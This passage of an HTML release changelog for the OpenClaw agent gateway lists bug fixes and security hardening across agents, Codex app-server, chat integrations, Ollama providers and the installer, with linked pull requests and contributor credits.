<li>Diagnostics: bound cleanup timeout detail logs, emit drop summaries when async diagnostic bursts exceed the queue cap, and surface async queue drops through diagnostic telemetry.</li>
<li>Agents/subagents: surface blocked child-run completions as errors instead of successful subagent finishes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4426401117" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80886/hovercard" href="https://github.com/openclaw/openclaw/pull/80886">#80886</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Context engines: fail closed with a descriptive error when the selected agent runtime cannot satisfy declared context-engine host requirements.</li>
<li>Agents/Pi: treat accepted embedded <code>sessions_spawn</code> child-session handoffs as terminal progress so parent turns no longer report false non-deliverable failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496893143" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85054" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85054/hovercard" href="https://github.com/openclaw/openclaw/pull/85054">#85054</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>CLI/models: resolve <code>openclaw models set</code> aliases from the runtime config while keeping authored aliases ahead of runtime-only defaults. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464921339" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83262" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83262/hovercard" href="https://github.com/openclaw/openclaw/pull/83262">#83262</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Doctor: show personal Codex CLI asset notices as info instead of warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492410818" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84859" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84859/hovercard" href="https://github.com/openclaw/openclaw/issues/84859">#84859</a>.</li>
<li>WhatsApp: update Baileys to <code>7.0.0-rc13</code> and drop the obsolete logger type patch.</li>
<li>CLI/update: pre-pack GitHub/git package update targets before the staged npm install, restoring <code>openclaw update --tag main</code> for one-off package updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4434938350" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81296" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81296/hovercard" href="https://github.com/openclaw/openclaw/pull/81296">#81296</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Gateway: mirror successful same-source message-tool sends into session transcripts so delivered replies stay in later history/context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492092367" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84837" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84837/hovercard" href="https://github.com/openclaw/openclaw/pull/84837">#84837</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>Media generation: keep image, music, and video completion delivery from duplicating or losing task ownership when generated media finishes through active session replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474791588" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84006" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84006/hovercard" href="https://github.com/openclaw/openclaw/pull/84006">#84006</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>CLI/doctor: remove stale bundled plugin load paths from old versioned OpenClaw package roots after pnpm/npm upgrades. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4183233605" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58626" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58626/hovercard" href="https://github.com/openclaw/openclaw/issues/58626">#58626</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solink7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solink7">@solink7</a>.</li>
<li>Infra/json: retry transient <code>File changed during read</code> races while loading JSON state so config and state reads recover instead of failing the turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4480467537" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84285/hovercard" href="https://github.com/openclaw/openclaw/pull/84285">#84285</a>)</li>
<li>Plugins/providers: fail closed for workspace provider plugins during setup-mode discovery unless explicitly trusted, preventing untrusted workspace plugin code from running during provider setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430383114" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81069/hovercard" href="https://github.com/openclaw/openclaw/pull/81069">#81069</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</li>
<li>Providers/Ollama: resolve configured Ollama Cloud <code>OLLAMA_API_KEY</code> markers to the real discovery key so cloud provider entries keep authenticated model catalog access. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496517336" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85037/hovercard" href="https://github.com/openclaw/openclaw/pull/85037">#85037</a>)</li>
<li>Discord: keep persistent component registry fallback warnings actionable by forwarding structured error and cause metadata through the runtime logger. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478478934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84185" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84185/hovercard" href="https://github.com/openclaw/openclaw/issues/84185">#84185</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478496859" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84190" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84190/hovercard" href="https://github.com/openclaw/openclaw/pull/84190">#84190</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>Gateway/sessions: preserve compatible session auth profile overrides when switching models within the same provider, including provider-auth aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4446719061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81837" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81837/hovercard" href="https://github.com/openclaw/openclaw/issues/81837">#81837</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4448375153" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81886/hovercard" href="https://github.com/openclaw/openclaw/pull/81886">#81886</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Gateway/status: surface inbound delivery telemetry counters and transport-liveness warnings in <code>openclaw status --all</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4093339126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49577" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49577/hovercard" href="https://github.com/openclaw/openclaw/issues/49577">#49577</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334434847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72724/hovercard" href="https://github.com/openclaw/openclaw/pull/72724">#72724</a>)</li>
<li>Docker: prune package-excluded plugin source workspaces and dependency closures so runtime images do not keep packages for plugins that were not opted in.</li>
<li>Providers/Ollama: treat Docker/OrbStack host aliases as local Ollama endpoints so <code>ollama-local</code> marker auth works when OpenClaw runs inside a VM/container and Ollama runs on the host. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492687433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84875" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84875/hovercard" href="https://github.com/openclaw/openclaw/issues/84875">#84875</a>.</li>
<li>QA-Lab: keep explicitly searchable/deferred OpenClaw dynamic tool rows report-only by default so tool-coverage gates do not treat mock discovery gaps as hard product failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416028202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80319/hovercard" href="https://github.com/openclaw/openclaw/issues/80319">#80319</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Agents/config: keep non-Google provider model refs from being rewritten by Google Gemini preview-id normalization. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491152950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84762/hovercard" href="https://github.com/openclaw/openclaw/pull/84762">#84762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Installer: require a real controlling terminal before launching onboarding so headless <code>curl | bash</code> installs finish cleanly after installing the CLI.</li>
<li>Agents/Codex: promote a completed final assistant response when a prompt timeout races Codex app-server completion instead of returning an empty timeout envelope. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484831985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84516" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84516/hovercard" href="https://github.com/openclaw/openclaw/issues/84516">#84516</a>.</li>
<li>Codex app-server: keep interrupted turn statuses from being treated as OpenClaw aborts by themselves, so tool-only turns remain eligible for no-visible-answer recovery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484261445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84492" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84492/hovercard" href="https://github.com/openclaw/openclaw/issues/84492">#84492</a>.</li>
<li>Agents: cap heartbeat model bleed context hints by the stored session window when runtime model metadata is unavailable, so overflow recovery advice does not suggest a larger window than the active session actually has.</li>
<li>Control UI/Web Push: use <code>https://openclaw.ai</code> as the generated default VAPID subject instead of the old localhost mailbox so iOS PWA push setup uses an Apple-acceptable subject when <code>OPENCLAW_VAPID_SUBJECT</code> is unset. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463833833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83134" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83134/hovercard" href="https://github.com/openclaw/openclaw/issues/83134">#83134</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465313833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83317" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83317/hovercard" href="https://github.com/openclaw/openclaw/pull/83317">#83317</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Control UI: distinguish inherited thinking-off settings from explicit Off selections so the thinking selector no longer shows two identical Off rows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499864598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85223" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85223/hovercard" href="https://github.com/openclaw/openclaw/pull/85223">#85223</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/Pi: keep embedded session transcript writes from tripping false takeover detection after packaged npm onboarding agent turns.</li>
<li>Codex/TUI: surface Codex-native post-turn compaction failures instead of continuing uncompacted, and keep successful native compaction serialized before local idle/next-turn handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4480907550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84305" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84305/hovercard" href="https://github.com/openclaw/openclaw/issues/84305">#84305</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499073217" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85160/hovercard" href="https://github.com/openclaw/openclaw/pull/85160">#85160</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Memory/search: stop recall tracking from writing dreaming side-effect artifacts when <code>dreaming.enabled=false</code>, while preserving normal search results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483132130" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84436" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84436/hovercard" href="https://github.com/openclaw/openclaw/issues/84436">#84436</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483302640" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84444/hovercard" href="https://github.com/openclaw/openclaw/pull/84444">#84444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Diffs: render viewer toolbar icons from a closed icon-name map instead of HTML strings, removing the toolbar icon XSS sink. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474146520" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83955" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83955/hovercard" href="https://github.com/openclaw/openclaw/pull/83955">#83955</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tanshanshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tanshanshan">@tanshanshan</a>.</li>
<li>QA: keep <code>pnpm qa:e2e</code> self-check runs inside the private QA runtime envelope even when inherited shell env disables bundled plugins.</li>
<li>fix(config): validate browser sandbox bind sources [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491649611" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84799" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84799/hovercard" href="https://github.com/openclaw/openclaw/pull/84799">#84799</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>doctor: constrain legacy plugin cleanup paths [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491667697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84801" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84801/hovercard" href="https://github.com/openclaw/openclaw/pull/84801">#84801</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Update/doctor: prune stale local bundled plugin install records that point at old compiled bundled output so current bundled plugin schemas win after upgrade. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492494073" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84863" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84863/hovercard" href="https://github.com/openclaw/openclaw/pull/84863">#84863</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Providers/Ollama: preserve native Ollama tool-call IDs across assistant replay so Gemini over Ollama Cloud can keep its hidden function-call thought-signature handle.</li>
<li>Discord: keep session recovery and <code>/stop</code> abort ownership on the source dispatch lane while bound ACP turns continue routing to their target session, so stalled pre-run work and late replies are cleared instead of leaking after stop. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483895207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84477/hovercard" href="https://github.com/openclaw/openclaw/issues/84477">#84477</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497982606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85100" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85100/hovercard" href="https://github.com/openclaw/openclaw/pull/85100">#85100</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Discord/voice-call: keep forced realtime voice consult diagnostics in debug logs instead of agent prompts, so callers do not hear OpenClaw policy text when the provider misses <code>openclaw_agent_consult</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482803751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84411" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84411/hovercard" href="https://github.com/openclaw/openclaw/pull/84411">#84411</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Codex app-server: mark missing turn completion after observed execution as replay-unsafe and release the session so follow-up turns can run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476289375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84076" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84076/hovercard" href="https://github.com/openclaw/openclaw/issues/84076">#84076</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498078569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85107/hovercard" href="https://github.com/openclaw/openclaw/pull/85107">#85107</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Codex app-server: give visible <code>message</code> dynamic tool sends a longer timeout budget so slow channel delivery can return its own result or error instead of hitting the 30-second Codex wrapper. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499812848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85216" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85216/hovercard" href="https://github.com/openclaw/openclaw/pull/85216">#85216</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Codex app-server: add a dedicated post-tool raw assistant completion idle timeout config so trusted heavy turns can wait longer after tool handoff without weakening final assistant release.</li>
<li>Matrix: keep explicitly configured two-person rooms on the room route before stale <code>m.direct</code> or strict two-member DM fallback can bypass mention gating. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496136567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85017" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85017/hovercard" href="https://github.com/openclaw/openclaw/issues/85017">#85017</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498803495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85137/hovercard" href="https://github.com/openclaw/openclaw/pull/85137">#85137</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/subagents: require explicit subagent allowlist targets to be configured agents so stale deleted-agent ids are omitted from <code>agents_list</code> and rejected by <code>sessions_spawn</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491844371" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84811" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84811/hovercard" href="https://github.com/openclaw/openclaw/issues/84811">#84811</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499010254" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85154" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85154/hovercard" href="https://github.com/openclaw/openclaw/pull/85154">#85154</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>PDF tool: time out idle remote PDF body reads after 120 seconds so stalled remote documents return an error instead of wedging the session. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288676163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68649" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68649/hovercard" href="https://github.com/openclaw/openclaw/issues/68649">#68649</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491207985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84768" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84768/hovercard" href="https://github.com/openclaw/openclaw/pull/84768">#84768</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Diagnostics/OpenTelemetry plugin: suppress handled OTLP exporter promise rejections so collector shutdowns no longer crash the Gateway. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430729094" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81085" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81085/hovercard" href="https://github.com/openclaw/openclaw/pull/81085">#81085</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Agents/exec: omit raw command text and env values from denied exec failure logs while keeping safe correlation metadata. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496830927" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85049" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85049/hovercard" href="https://github.com/openclaw/openclaw/issues/85049">#85049</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498838754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85140" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85140/hovercard" href="https://github.com/openclaw/openclaw/pull/85140">#85140</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Media-understanding: restore the 4096-token default for image descriptions so reasoning-capable vision models no longer truncate before returning text, while preserving smaller model caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494048283" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84932" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84932/hovercard" href="https://github.com/openclaw/openclaw/pull/84932">#84932</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scotthuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scotthuang">@scotthuang</a>.</li>
<li>Media/audio: skip empty structured sherpa-onnx transcripts instead of treating the raw JSON payload as spoken text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488983460" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84667/hovercard" href="https://github.com/openclaw/openclaw/pull/84667">#84667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Agents/exec: preserve inherited XDG base-directory environment values for subprocesses while still rejecting agent-supplied XDG overrides. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492278181" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84854" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84854/hovercard" href="https://github.com/openclaw/openclaw/issues/84854">#84854</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498820649" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85139" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85139/hovercard" href="https://github.com/openclaw/openclaw/pull/85139">#85139</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Node/Linux: keep <code>OPENCLAW_GATEWAY_TOKEN</code> out of generated systemd unit files by writing node service token values to a node-specific env file. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482764578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84408/hovercard" href="https://github.com/openclaw/openclaw/pull/84408">#84408</a>)</li>
